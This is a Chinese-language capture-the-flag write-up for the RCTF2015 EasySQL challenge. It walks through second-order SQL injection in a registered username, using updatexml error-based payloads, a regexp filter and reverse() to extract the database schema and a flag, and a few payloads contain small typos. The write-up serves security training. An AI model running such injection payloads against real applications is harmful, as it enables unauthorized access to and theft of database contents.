[RCTF2015]EasySQL)(二次注入&updatexml报错注入&正则匹配&逆转)

我们发现,这道题跟sql-libs的二次注入类似,我们首先在注册页面进行测试,发现在用户名中进行了过滤,过滤了substr,and,or等一些可以注入的字符,在这一栏进行了过滤,说明这里可能存在注入。

注册一个新的用户,用户名:123。密码:123。登陆用户,发现有一个修改密码的页面

image-20240605203931676

登录并进入修改密码的页面,修改密码

image-20240605203943203

说明存在二次注入

爆库

1
123"||(updatexml(1,concat('~'(select(database()))),1))#

image-20240605200749144

爆表

1
123"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#

image-20240605202005072

爆flag表

1
123"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(column_name='flag'))),1))#

image-20240605202114249

爆flag字段

1
123"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))#

image-20240605202206083

很好,flag不在这,我们爆users表

爆users表

1
123"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

image-20240605202446835

爆real_flag_1s_her字段

1
123"||(updatexml(1,concat('~',(select(group_concat(real_flag_1s_her))from(users))),1))#

image-20240605202904598

该字段有多列,需要用**regexp(’^f’)**将f开头的进行筛选(**regexp()是sql的正则表达式**)

1
123"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#

image-20240605203249816

得到一半的flag,由于substr,left,mid,right被禁了,我们使用reverse来反转flag

1
123"||(updatexml(1,(select(reverse(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),1))#

image-20240605203409198

得到另一半flag

我们进行组合,得到flag

1
flag{4707a8a0-ed51-44b3-b5c3-ace7edd82aec}